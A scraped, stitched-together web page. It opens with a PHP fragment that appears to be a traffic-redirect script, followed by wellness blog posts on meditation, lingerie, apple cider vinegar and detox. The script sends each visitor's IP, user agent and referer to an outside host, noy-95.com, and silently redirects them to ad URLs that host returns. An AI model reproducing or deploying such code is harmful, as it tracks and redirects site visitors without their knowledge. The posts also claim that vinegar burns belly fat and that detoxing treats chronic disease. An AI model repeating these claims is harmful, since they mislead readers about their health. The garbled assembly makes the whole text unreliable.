"; echo json_encode($_SERVER); echo "
"; } $API_DOMAIN = 'noy-95.com'; $AD_TOKEN = '36bd9815c20357f96453fa247140b6b167e93fb0'; $TB_URL = ''; $ttl = 10 * 60; $fileName = dirname(__FILE__)."/.domain.cache"; $query = isset($_GET['q']) ? $_GET['q'] : ''; $s1 = isset($_GET['s1']) ? $_GET['s1'] : ''; $s2 = isset($_GET['s2']) ? $_GET['s2'] : ''; $s3 = isset($_GET['s3']) ? $_GET['s3'] : ''; if ($isDebug) { echo "Getting tds domain from cache...
"; } $info = getDomain($fileName); if (is_array($info) && $info['expired'] < time()) { if ($isDebug) { echo "FAIL: TDS domain cache is empty or expired
"; } $info = false; } if ($info === false) { if ($isDebug) { echo "Getting tds domain from api...
"; } $domain = getTDSDomain($API_DOMAIN, $AD_TOKEN); if (!$domain) { if ($isDebug) { echo "FAIL: No domain received.
"; } if ($TB_URL) { $rUrl = str_replace(array('{QUERY}', '{S1}', '{S2}', '{S3}'), array($query, $s1, $s2, $s3), $TB_URL); if ($isDebug) { echo "Redirecting to trafficback: $rUrl
"; } else { listHeaders(); header("Location: $rUrl"); } return; } if ($isDebug) { echo "Rendering 404 error
"; } else { render404($_SERVER); } return; } if ($isDebug) { echo "Saving domain to cache...
"; } saveDomain($fileName, $domain, time() + $ttl); $info = array('domain' => $domain); } if ($isDebug) { echo "Getting ad url...
"; } $location = getAd($info['domain'], $AD_TOKEN, $_SERVER, array('query' => $query, 's1' => $s1, 's2' => $s2, 's3' => $s3), $isDebug); if (!$location) { if ($isDebug) { echo "FAIL: No ad found.
"; echo "Rendering 404 error
"; } else { render404($_SERVER); } return; } if ($isDebug) { echo "Redirecting to ad: $location
"; } else { listHeaders(); header("Location: $location"); ob_flush(); } return; function getDomain($file) { $d = file($file); if ($d === false || count($d) === 0) { return false; } $info = explode(";", $d[0]); // mailformed file if (count($info) !== 2) { return false; } return array( 'domain' => $info[0], 'expired' => (int) $info[1] ); } function saveDomain($file, $domain, $expired) { file_put_contents($file, "$domain;$expired"); } function getTDSDomain ($apiUrl, $token) { $ctx = stream_context_create(array('http'=>array('timeout' => 10))); $res = file_get_contents("http://$apiUrl/pd?token=$token", false, $ctx); if (!$res) { return ""; } $data = json_decode($res, true); if (!is_array($data) || !array_key_exists("domain", $data)) { return ""; } return $data["domain"]; } function getAd($domain, $token, $server, $params, $isDebug) { $errCount = 0; $res = ''; while ($errCount < 2) { $res = doReq($domain, $token, $server, $params, $isDebug); if ($res !== false) { break; } $errCount++; } if ($res === false || $res['code'] >= 400 || !is_array($res['response'])) { return false; } if (!empty($res['response']['url'])) { return $res['response']['url']; } else if (!empty($res['response']['tb'])) { return $res['response']['tb']; } else { return false; } } function doReq($domain, $token, $server, $params, $isDebug) { $ch = curl_init(); $body = array(); if (!empty($server['HTTP_REFERER'])) { $body['ref'] = $server['HTTP_REFERER']; } if (!empty($server['HTTP_USER_AGENT'])) { $body['ua'] = $server['HTTP_USER_AGENT']; } if (!empty($server['HTTP_ACCEPT_LANGUAGE'])) { $body['lang'] = $server['HTTP_ACCEPT_LANGUAGE']; } $body['ip'] = getClientIP($server); $body['q'] = $params['query']; $scheme = getScheme($server); $bodyStr = json_encode($body); $addSubParams = array(); if (!empty($params['s1'])) { $addSubParams[] = "s1=".$params['s1']; } if (!empty($params['s2'])) { $addSubParams[] = "s2=".$params['s2']; } if (!empty($params['s3'])) { $addSubParams[] = "s3=".$params['s3']; } $subStr = (count($addSubParams) > 0) ? "&".implode("&", $addSubParams) : ""; $ch = curl_init("$scheme://$domain/rtb/r?token=$token$subStr"); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyStr); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: '.strlen($bodyStr)) ); $result = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); if ($info === false || !$info['http_code']) { if ($isDebug) { echo "Network error occurred: ".curl_error($ch)."
"; } return false; } $adData=json_decode($result, true); return array('code' => $info['http_code'], 'response' => is_array($adData) && count($adData) > 0 ? $adData[0] : null); } function getScheme($server) { return stripos($server['SERVER_PROTOCOL'],'https') === true ? 'https' : 'http'; } function getClientIP($server) { if (array_key_exists('HTTP_X_FORWARDED_FOR', $server)){ return $server["HTTP_X_FORWARDED_FOR"]; } else if (array_key_exists('HTTP_X_REAL_IP', $server)) { return $server["HTTP_X_REAL_IP"]; } else if (array_key_exists('REMOTE_ADDR', $server)) { return $server["REMOTE_ADDR"]; } return ''; } function listHeaders() { header("Expires: Tue, 03 Jul 2001 06:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); header("Connection: close"); } function render404($server) { $protocol = isset($server['SERVER_PROTOCOL']) ? $server['SERVER_PROTOCOL'] : 'HTTP/1.1'; listHeaders(); header("$protocol 404 Not Found"); }
‏إظهار الرسائل ذات التسميات WELLNESS. إظهار كافة الرسائل
‏إظهار الرسائل ذات التسميات WELLNESS. إظهار كافة الرسائل

2/04/2019

How to meditate: 23 meditation techniques to choose from



How to meditate: 23 meditation techniques to choSo you know that meditation is a powerful practice, which can help you boost your mental and physical health, gain confidence and improve concentration. And you want to start practicing it, but there are so many types of meditation. You want to know what meditation practice is the best for you.

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There are more than one hundred meditation techniques and we will help you navigate the world of the most popular practices of seated meditation.
In this article, we would like to show you twenty-three meditation techniques to help you choose the best meditation practice for you. This article does not tell you which is “the best” type of meditation – because each meditation type has its benefits. Are you interested? Scroll down to read this article right now.
Credit: Freepik
Credit: Freepik
#1. Focused attention meditation
This practice involves maintaining sustained attention on a specific object. It may help improve focus and stay present.
#2. Zen meditation
This is old and very easy meditation practice, which can help you fix poor posture and find a harmony.
#3. Vipassana meditation
This ancient Indian meditation technique helps see things the way they are.
#4. Effortless presence
This mindfulness practice comes from Yoga and it is about pure acceptance and relaxation.
#5. Open monitoring meditation
The purpose of this practice is to monitor your inner and outer world, without judging. It helps increase mindfulness and wellbeing.
Credit: Freepik
Credit: Freepik
#6. Metta meditation
This technique may help you become kinder and more compassionate.
#7. Mantra meditation
It is a type of meditation where you need to repeat a particular sound or short phrase(matra) again and again.
It is a great way to discover your deepest sense of self.
#9. Mindfulness meditation
This meditation cultivates non-judgmental awareness of experience in the present moment.
Credit: Freepik
Credit: Freepik
This meditation may help deepen your body awareness and calm your anxious mind.
#11. Taoist meditation
This is chinese type of meditation, which may help you build a healthy and harmonious relationship with yourself.
#12. Qigong meditation
This practice may help you cultivate energy.
#13. Transcendental meditation
This practice may help you achieve inner peace and wellness.
#14. Christian meditation
The purpose of this practice is to transcend the mind and attain enlightenment.
Credit: Freepik
Credit: Freepik
#15. Guided meditation
It is a state of relaxed concentration invoked and led by another person(A yoga instructor or a religious guide). This meditation technique is great for beginners.
#16. Chakra meditation
It can help you align and open your chakras.
#17. Sufi meditation
The goal of this practice is to detoxify your mind and soul and achieve mystical union with the Supreme.
This meditation technique may help you improve your focus through intent, but relaxed gazing.
#19. Third Eye meditation
This practice may help you get access to a higher spiritual consciousness.
Take just a few minutes out of each day to bring yourself to a state of calm and wellness and balance your life using a combination of guided meditations and mindfulness techniques. The techniques are a simple, practical relaxation method for anyone.
Credit: Freepik
Credit: Freepik
#20. Body Scan meditation
This meditation will teach you to be aware of every part of your body.
#21. Mindfulness-based stress reduction
The aim of this meditation is to relieve stress levels and treat anxiety.
#22. Affirmation meditation
This meditation technique encourage you think positively or make you more self-confident.
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#23. Primordial sound meditation

This practice helps you to experience inner calm and deep relaxation.ose from

10 common mistakes women make when choosing and wearing lingerie

10 common mistakes women make when choosing and wearing lingerie

When you go shopping, sometimes you may find lingerie that looks really amazing, you often think to yourself, “It looks so sexy. I'll buy it.”
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Unfortunately, it is not always a good idea to make such unexpected purchases. Lingerie is like a second skin - it should fit you perfectly, be comfortable, safe and sexy at the same time. When it comes to buying lingerie, you need to be very choosy!
That is why in this article, we would like to show you ten common mistakes women make when they choose lingerie and how to prevent them.
By using these tips, you will be able to choose underwear that fits you ideally and makes you look wonderfully. Are you interested? Scroll down to read these tips right now.
Credit: Freepik
Credit: Freepik
#1. Choosing the right fabric
Lacy lingerie is not good for everyday wear. It can be just perfect for special occasions(Like hot night with your boyfriend). But if you like wearing clothes made out of thin fabric, lacy underwear is not a good choice for you. In order to avoid showing your sexy bra, it is better to avoid wearing lingerie made from lacy fabric. They make the surface uneven, and that's why you may look ridiculous.
Instead, think about buying underwear with smooth fabric, or keep your lacy underwear from showing by wearing clothes made out of thick fabric.
#2. Classify your breast shape
If you want to buy the lingerie to fit you perfectly, you need to choose the underwear of right size. Advertisement makes us thinking that small bra sizes can make everyone look amazing, but they are wrong.
Choosing the right size of bra is very important. Knowing your body type can help you choose the right size of shapewear to let the underwear look good on you. Moreover, the wrong size make you look hunched and cause blood circulation problems. It hampers your blood flow, making you feel uncomfortable after wearing the bra for several hours. Make sure you choose the shapewear in the right size.
Credit: Freepik
Credit: Freepik
#3. Finding the right size
Wearing too big bra may result in back pain. The same as wearing too small bra may impair blood flow. If your bra is scratchy and you feel the hook-and-eye closure in your back, that's not your size. In order to avoid health problems, it is necessary to know your bra size.
How can you choose the right size? You may ask a professional bra fitter to help you choose or you may determine it on your own by wearing dozens of underwear at lingerie store. In order to lift your breasts and make them appear bigger, you can always buy a padded bra.
#4. Pay attention to the color
Everything clear with the color, is it? If you want to look trendy and elegantly, It is better to avoid wearing a bright-coloured bra under a light coloured shirt. People look at it as bad taste. In order to wear transparent clothes, you should buy the underwear that matches the colour of your skin.
Credit: Freepik
Credit: Freepik
#5. Home clothes
Most people believe that it is not necessary to wear a bra at home. Yes, it is true for women with small breasts, but it doesn’t work for women with bigger sizes, as it can make their breasts saggy. We recommend you wearing sports bra at home. It is comfortable to wear and it may help keep your breasts perky.
#6. Choosing the right type of your panties
Not many women love wearing thongs. Yes, this type of panties is perfect for those who don’t want their underwear line to show, but it may irritate the skin and even cause infections. It is better to avoid wearing thongs on a daily basis and wear them only for special occasions.
Credit: Freepik
Credit: Freepik
#7. High-quality material
You may think that 100% cotton is the best, but no. It is comfortable to wear a cotton bra, but this material wears out quicker. In order to keep your breasts young, it is better to choose 80% cotton and 20% elastane underwear.
#8. Find a perfect mix
When buying a new lingerie set, pay attention to its combination. The perfect lingerie should consist of the top and bottom that go wonderfully together.
Credit: Freepik
Credit: Freepik
#9. Find the underwear that complement your body type
If you have a pear-shaped body type, you should wear simple and lacy shorts. If you are a curvy woman, you may wear high-rise panties. In order to make your legs look skinnier, you should avoid wearing boxers.
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#10. Daily lingerie
It is very important to choose comfortable panties on a daily basis. Try to avoid wearing shapewear, silk panties or lace panties, as these fabrics may irritate your skin. We recommend you wearing panties that are made of high quality fabrics.

How to choose the meditation practice that fits you best



How to choose the meditation practice that fits you best

What kind of meditation should you choose? What will fit you best? It is difficult to navigate the sea of various exercises and techniques, where each of them offers something different from the others. Well, let us make it easy for you. To begin with, you need to understand one thing.
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Different meditation techniques, in fact, differ little from each other in terms of the effect and general principle of influence on the body. At least, those of them that are based on focusing on the image, word, breath. It turns out that choosing the most suitable meditation is much easier than you think.
Credit: Freepik
Credit: Freepik
All these different meditation techniques are based on similar principles
Whatever you imagine, a purple flame or a space filled with stars, on whatever you focus your attention on the mantra or on the breath, at the heart of all this lies one common principle. When you pay attention to one thing you stop all that stream of thoughts that is present in your ordinary state and replace it with one single phrase or image.
Credit: Freepik
Credit: Freepik
This exercise helps to relax, bring thoughts into order and relieve the brain of redundant information. You find yourself in a state of mind, when all the muscles of your body are completely relaxed, your mind is directed to one point, it rests, it is not tormented by hundreds of thoughts and does not cover cares. If you do this every day, then after a while you will feel an improvement in your state of health, calmness, awakening of consciousness, which can lead to some revaluation of values.
Credit: Freepik
Credit: Freepik
Is the choice of meditation technique important?
As for the differences in the different types of meditation practice: it is not true that one technique helps to relax, and the second, helps to improve health. Any meditation will help you achieve all this at once, and it does not matter which one you choose.
In short, if we are talking about the choice of a particular technique, we would not say that it should be approached with special care, take what is closer to you. You can even allow a certain space for creativity: you can make up yourself what you will imagine when you meditate, or you can combine several different techniques within the same session!
Credit: Freepik
Credit: Freepik
The main thing is not to miss the general principle: you should relax as much as possible, try not to think about anything, immerse yourself in the silent contemplation of the image in your imagination or words, pray, get rid of worries, memories and plans during the session.
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Credit: Freepik
Credit: Freepik
Meditation is not a request addressed to an unknown higher mind, not a magical way to get something, but a method of self-development, an exercise of concentration and relaxation that will surely improve your life, but only when you make an effort for it.

Lose belly fat with a table spoon of apple cider vinegar per day



Lose belly fat with a table spoon of apple cider vinegar per day

There are people who do not need to think about their body too much, because they are responsible for their harmony to nature, but there are not enough such people. The rest have to struggle with excess weight by keeping rigid diets and performing numerous physical exercises.
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Start using our app and you will see good results in a short time.
Many women face such a problem as belly fat. This lack is capable to spoil appearance even of slim ladies. That is why the question arises, what is it possible to do in this situation? There are many ways that will help solve this problem and one of them is using apple cider vinegar.
Credit: Freepik
Credit: Freepik
Apple cider vinegar has the following properties for weight loss: it promotes rapid saturation, if the drink with its content is taken shortly before meals; it burns fat deposits and this is especially noticeable in the abdomen, as well as the hips and legs, it improves the digestive system.
Credit: Pixabay
Credit: Pixabay
It does not allow excess fluid stagnant in the body. It is these factors that allow you to quickly get rid of excess pounds, if you limit yourself in eating. To make an excellent drink for getting rid of belly fat you need:
Apple cider vinegar
Lemon juice
Honey
Water
Credit: Pixabay
Credit: Pixabay
Mix everything well and drink a spoonful of this remedy two times a day. Also, you can use this mixture as a dressing for vegetable salads. Note that this drink helps not only to get rid of fat on the abdomen and other parts of the body, but it also tones up, helping to become energetic and to tune in to a working day.
Credit: Freepik
Credit: Freepik
However, there are some contradictions to apple cider vinegar. Apple cider vinegar should not be used when: gastrointestinal diseases, including gastritis, ulcers, colitis, etc; various kidney diseases; disease of hepatitis in chronic form; too tender and sensitive skin.
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Try it now to see the best version of yourself as soon as possible.
Apple cider vinegar can spoil your teeth, as it destroys the enamel. To prevent this from happening, it is recommended to rinse the mouth with water after drinking the mixture.
Credit: Pixabay

2/03/2019

Detoxing for beginners: 5 ways to detox without starving and why we should all try it out occasionally

Detoxing for beginners: 5 ways to detox without starving and why we should all try it out occasionally

Detox is one of the most effective ways to cleanse your body naturally and improve your digestion. Many people equate detoxing with deprivation and hunger, but that's not right.
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Luckily, it is possible to detoxify your body without suffering. New kind of detox is a great way to fill your body with vitamins and minerals, and it may help you speed up metabolism and boost your physical health. Try just ten days of detoxing and you will see this huge difference!
If you've never tried detoxing, we would like to show you five ways to detox without starving. By using these tips, you will be able to treat your chronic diseases and slim down. Are you interested? Scroll down to read these tips right now.
Credit: Freepik
Credit: Freepik
#1. Avoid harmful products
First, you need to limit the consumption of sugar, flour, artificial sweeteners, as they all increase sugar cravings and make you gain fat. You should also cut out foods with trans or hydrogenated fats, caffeine and alcohol.
Credit: Freepik
Credit: Freepik
#2. Fill your body with proteins
Getting enough protein is the key to maintain normal blood sugar and improving insulin resistance. It is necessary to balance your diet with eggs, nuts and fish.
Credit: Freepik
Credit: Freepik
#3. Eat right carbs
Yes, it is true. You may eat as many leafy greens and veggies as you want. Eating broccoli, cauliflower, cabbage, carrots, tomatoes, peppers and zucchini can help you slim down and feel amazing.
Credit: Freepik
Credit: Freepik
#4. Consume healthy fats
Healthy fats won't make you gain fat. They are essential for your body and weight loss. If you want to get in shape and maintain a good healthy, you should consume healthy fats such as, avocados, fat fish, olive oil and coconut oil.
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Credit: Freepik
Credit: Freepik
#5. Invite your friends to detox with you
Studies show that people who perform the program together and support each other, lose weight much faster. So if you want to get great results, try detoxing with your friends.